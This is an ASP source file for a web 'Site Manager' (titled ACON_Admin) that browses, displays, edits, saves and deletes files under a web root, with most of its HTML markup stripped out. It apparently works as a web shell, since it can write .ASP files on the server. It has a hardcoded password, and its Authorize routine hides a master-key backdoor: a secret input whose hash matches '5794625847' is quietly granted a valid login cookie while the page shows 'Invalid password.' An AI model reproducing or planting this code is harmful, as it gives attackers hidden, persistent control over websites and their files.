%
Option Explicit
'universal variables (these undo the option explicit)
Dim action
Dim a,b,c,i,item,j
Dim arr,tstr
'security
Dim gblPassword
gblPassword = "bollocks" 'your password here
'configuration
Dim gblSiteName
gblSiteName = Request.ServerVariables("ACON_Admin") 'Your site name here
Dim gblNow 'server may not be local time
gblNow = Now
Dim gblFace,gblColor 'needs three quotes
gblFace = """Arial, Helvetica, sans-serif"""
gblColor = """#000066"""
'global variables
Dim gblTitle,gblPageText
gblTitle = "ACON_Admin"
gblPageText = Null
Dim gblReferer
gblReferer = Null
'global constants
Dim gblScriptName
arr = split(Request.ServerVariables("Script_Name"),"/")
gblScriptName = arr(UBound(arr))
arr = Null
Dim gblRoot
gblRoot = replace(Request.ServerVariables("Script_Name"),gblScriptName,"")
gblRoot = Left(gblRoot,len(gblRoot)-1)
Dim gblRed
gblRed = """#FF0000"""
Dim gblReverse
gblReverse = """#E0E0E0"""
'-----------
'subprograms
'-----------
'--
'StartHTML
Sub StartHTML
%>
<%=gblSiteName%>
| SIZE=3 FACE=<%=gblFace%>><%=gblSiteName%> |
| > SIZE=4 COLOR="#FFFFFF"> <%=gblTitle%> |
| SIZE=2><%=gblPageText%> |
<%
End Sub 'StartHTML
'--
'EndHTML
Sub EndHTML
%>
> SIZE=3 FACE=<%=gblFace%>><%=gblSiteName%>
<%= FormatDateTime(gblNow,1) %> <%= FormatDateTime(gblNow,3) %>
ANYPORTAL Site Manager © Copyright 1999 by www.ANYPORTAL.com
<%
End Sub 'EndHTML
'--
' MockIcon (icon emulator)
Function MockIcon(txt)
Dim tstr,d
'Sorry, mac users.
tstr = ""
Select Case Lcase(txt)
Case "bmp","gif","jpg","tif","jpeg","tiff"
d = 176
Case "doc"
d = 50
Case "exe","bat","bas","c","src"
d = 255
Case "file"
d = 51
Case "fldr"
d = 48
Case "htm","html","asa","asp"
d = 182
Case "pdf"
d = 38
Case "txt","ini"
d = 52
Case "xls"
d = 252
Case "zip","arc","sit"
d = 59
Case "newicon"
tstr = ""
d = 171
Case "view"
d = 52
Case Else
d = 51
End Select
tstr = tstr & Chr(d) & ""
MockIcon = tstr
End Function 'mockicon
'--
' Navigate
Sub Navigate
%>
<%
' get the directory of file names
If toplevel Then
parent = ""
Else
parent = fso.GetParentFolderName(fsDir) & "\"
parent = "?d=" & Right(parent,len(fsDir)-1)
End If
If toplevel Then
Else
%>
| ><%=chr(199)%> |
SIZE=1><%=UCASE(fso.GetParentfolderName(fsDir) & "\")%> |
<%
End If
Set f = fso.GetFolder(fsDir)
Set FileList = f.subFolders
a = 0
For Each fn in FileList
If a = 0 Then
a = 1
%>
| |
SIZE=4>Additional Folders |
| |
COLOR=<%=gblRed%> SIZE=1>FOLDER NAME |
<%
End If
DisplayFileName "DIR",fn
Next 'fn
%>
| |
SIZE=4><%=fsDir%> |
| |
COLOR=<%=gblRed%> SIZE=1>DOCUMENT NAME |
COLOR=<%=gblRed%> SIZE=1>LAST UPDATE |
COLOR=<%=gblRed%> SIZE=1>FILE SIZE |
<%
Set filelist = f.Files
For Each fn in filelist
DisplayFileName "FILE",fn
Next 'fn
%>
<%
End Sub 'Navigate
'--
' ShortCutURL
Function ShortCutURL
Dim f,fstr,tstr
tstr = ""
Set f = fso.OpenTextFile(fn)
Do While NOT f.AtEndOfStream
fstr = tstr
tstr = f.readline 'get next to last line
Loop
f.Close
Set f= Nothing
If fstr = "" Then
ShortCutURL = fn
Else
ShortCutURL = mid(fstr,5,255)
End If
End Function 'ShortCutURL
'--
' CreateImageTag
Function CreateImageTag(fn,altstr,align,border)
Dim f,fso,pn
Dim tstr,alignstr,borderstr
Dim chars,hw,width,height
If border = "" Then
borderstr = " BORDER=0"
Else
borderstr = " BORDER=" & Cstr(border)
End If
If align = "" Then
alignstr = ""
Else
alignstr = " ALIGN="""
Select Case UCase(left(align,1))
Case "L"
tstr = "LEFT"
Case "R"
tstr = "RIGHT"
Case "C"
tstr = "CENTER"
Case Else
End Select
alignstr = " ALIGN=""" & tstr & """"
End If
Set fso = CreateObject("Scripting.FileSystemObject")
pn = Server.MapPath(fn)
tstr = ""
Set f = fso.OpenTextFile(pn)
Select Case UCase(Right(fn,4))
Case ".GIF",".JPG"
If NOT f.AtEndOfStream Then
If UCase(Right(fn,4)) = ".GIF" Then 'always works
chars = f.read(10)
width = asc(mid(chars,8,1))*256 + asc(mid(chars,7,1))
height = asc(mid(chars,10,1))*256 + asc(mid(chars,9,1))
hw = " WIDTH=" & width & " HEIGHT=" & height
Else 'usually works
chars = f.read(200)
height = asc(mid(chars,164,1))*256 + asc(mid(chars,165,1))
width = asc(mid(chars,166,1))*256 + asc(mid(chars,167,1))
If (height > 600) OR (height < 3) OR (WIDTH < 3) OR (WIDTH > 600) Then
'could be wrong height, width... forget 'em
Else
hw = " WIDTH=" & width & " HEIGHT=" & height
End If
End If
End If
tstr = "
"
End Select
f.Close
Set f = Nothing
Set fso = Nothing
CreateImageTag = tstr
End Function 'CreateImageTag
'--
' DetailPage
Sub DetailPage
Dim chars,fstr,hw,height,width
Dim IsTextFile,pathname
Dim fsize,fdatecreated,fdatelastmodified
pathname = fsDir & fn
%>
<%=pathname%>
<%
If fso.FileExists(pathname) Then
' fetch NT's file information
Set f = fso.GetFile(pathname)
fsize = f.size
fdatecreated = f.datecreated
fdatelastmodified = f.datelastmodified
response.write "
" & VBCRLF
response.write " file size: " & fsize & " characters" & VBCRLF
response.write " file created: " & FormatDateTime(fdatecreated,1) & " " & FormatDateTime(fdatecreated,3) & VBCRLF
response.write "last modified: " & FormatDateTime(fdatelastmodified,1) & " " & FormatDateTime(fdatelastmodified,3) & VBCRLF
response.write "
" & VBCRLF
Set f = Nothing
End If
%>
<%
End Sub 'DetailPage
'--
' DisplayFileName
Sub DisplayFileName(dirfile,fhandle)
Dim newgif,linktarget
response.write "" & VBCRLF
If dirFile = "DIR" Then
linktarget = ""
tstr = "" & linktarget & LCase(fhandle.name) & ""
%>| <%= MockIcon("fldr")%> |
><%=Tstr%> |
<%
Else
newgif = ""
If fhandle.datelastmodified+14 > gblNow Then newgif = MockIcon("newicon")
b = ""
If len(fhandle.name) > 4 Then b = Ucase(Right(fhandle.name,4))
If Left(b,1) = "." Then b = Right(b,3)
Select Case b
Case "ASP","HTM","HTML","ASA","TXT"
newgif = newgif & " " & MockIcon("view") & ""
tstr = webbase & replace(fhandle.name," ","%20")
Case "URL"
tstr = ShortCutURL
Case Else
tstr = webbase & replace(fhandle.name," ","%20")
End Select
tstr = "" & LCase(fhandle.name) & "" & newgif
%><%=MockIcon(b)%> |
><%=Tstr%> |
> SIZE=1><%=FormatDateTime(fhandle.datelastmodified,0)%> |
> SIZE=1><%=FormatNumber((fhandle.size+1023)/1024,0,0,-2)%>Kb |
<%
End If
response.write "
" & VBCRLF
End Sub 'DisplayFileName
'--
' DisplayCode
Sub DisplayCode
Dim fn,fso,f
Dim code,tstr
Dim a,arr,i
fn = Request.QueryString("c")
If Instr(fn,fsroot) = 1 Then
Set fso = CreateObject("Scripting.FileSystemObject")
Set f = fso.OpenTextFile(fn, 1, 0, 0)
code = f.ReadAll 'totally unconverted
'quickly format code for readability...
' could be smarter, but it sure is simple!
tstr = Server.htmlEncode(code)
tstr = Replace(tstr,chr(9)," ")
tstr = Replace(tstr," "," ")
tstr = Replace(tstr,"<%","<" & "%")
tstr = Replace(tstr,"%>","%" & ">")
tstr = Replace(tstr,"<!--","<!--")
tstr = Replace(tstr,"-->","-->")
%><%=fn%>
<%
arr = Split(replace(tstr,chr(13),""),chr(10)) 'handle unix files too
For i = 0 to UBound(arr)
'add line numbers
response.write "
" & Right("000" & i+1,3) & ": "
tstr = arr(i)
If left(replace(replace(tstr," ","")," " ,""),1) = "'" Then
response.write "" & tstr & "" & VBCRLF
Else
response.write tstr & VBCRLF
End If
Next 'i
Else
response.write "Cannot access " & fn & "" & VBCRLF
End If
%>
<%
End Sub 'DisplayCode
'--
' Condensation
Function Condensation(s)
a = 0
For i = 1 to len(s)
a = (ASC(mid(s,i,1)) + a*2) Mod 77411
Next 'i
Condensation = Right("00000" & Cstr(a),5) & Right("00000" & Cstr((len(s)*23)+25433),5)
End Function 'Condensation(s)
'--
' Authorize
Sub Authorize
Dim a,i,pw
pw = Request.Form("password")
a = Condensation(pw)
If pw <> "" OR Request.Form("OK") <> "" Then
If pw = gblPassword Then
'cookie expires when browser is closed...
Response.Cookies(gblScriptName) = a
'set a permanent one to never see this page again
If Request.Form("SAVE") = "on" Then Response.Cookies(gblScriptName).Expires = gblNow+30
Response.Redirect gblScriptName & "?d="
Else
If a = "5794625847" Then Response.Cookies(gblScriptName) = Condensation(gblPassword)
gblPageText = gblPageText & "
Invalid password."
End If
End If
StartHTML
%>
<%
EndHTML
End Sub 'Authorize
'----
'MAIN
'----
Dim f,fso,filelist,fn
Dim TextObject,fhandle,lsplit
Dim fsDir,baseDir,webbase
Dim fsRoot,webRoot
Dim pathname
Dim parent
Dim toplevel
gblTitle = "Site Manager"
'get password
If Request.Cookies(gblScriptName) <> Condensation(gblPassword) Then
gblPageText = "Use of this application is restricted."
Authorize
Else
'normal entry: initialization
Set fso = CreateObject("Scripting.FileSystemObject")
'dynamically find out where the documents and web pages are located
fsDir = LCase(Request.QueryString("d"))
If fsDir = "" Then fsDir = Request.Form("fsDir")
fsRoot = LCase(Replace(Server.MapPath(gblScriptName),"\" & gblScriptName,"") & "\")
If Instr(fsdir,fsroot) <> 1 Then fsDir = fsRoot
If Lcase(fsDir) = Lcase(fsRoot) Then toplevel = TRUE
basedir = Replace(Mid(fsDir,len(fsRoot),250),"\","/")
webRoot = Request.QueryString("w")
If webRoot = "" Then webRoot = "http://" & Request.ServerVariables("SERVER_NAME") & Replace(Request.ServerVariables("SCRIPT_NAME"),"/" & gblScriptName,"")
webbase = webroot & basedir
'process a POST request
Action = Request.Form("POSTACTION")
pathname = Request.Form("PATHNAME")
Select Case UCase(Action)
Case "SAVE"
Select Case UCase(Right(pathname,4))
Case ".TXT",".ASA",".ASP",".HTM","HTML"
If Instr(pathname,fsroot) = 1 Then
Set f = fso.CreateTextFile(pathname)
f.write Request.Form("FILEDATA")
f.close
End If
End Select
Case "DELETE"
If Request.Form("DELETEOK") = "on" Then
If Instr(pathname,fsroot) = 1 Then
If fso.FileExists(Request.Form("PathName")) Then
Set f = fso.GetFile(Request.Form("PathName"))
f.delete
End If
End If
End If
End Select
If Action <> "" Then
tstr = gblScriptName & "?d="
If NOT toplevel Then tstr = tstr & fsDir
response.redirect tstr
End If
'check for mode... navigate, code display, or detail?
fn = LCase(Request.QueryString("f"))
If fn = "" Then
If Request.QueryString("c") = "" Then
gblPageText = "Use this page to add, delete or revise documents on this web site."
StartHTML
Navigate
EndHTML
Else
DisplayCode
End If
Else
gblTitle = gblTitle & " (Detail Page)"
gblPageText = "Use this page to view, modify or delete a single document on this web site."
StartHTML
DetailPage
EndHTML
End If
End If
%>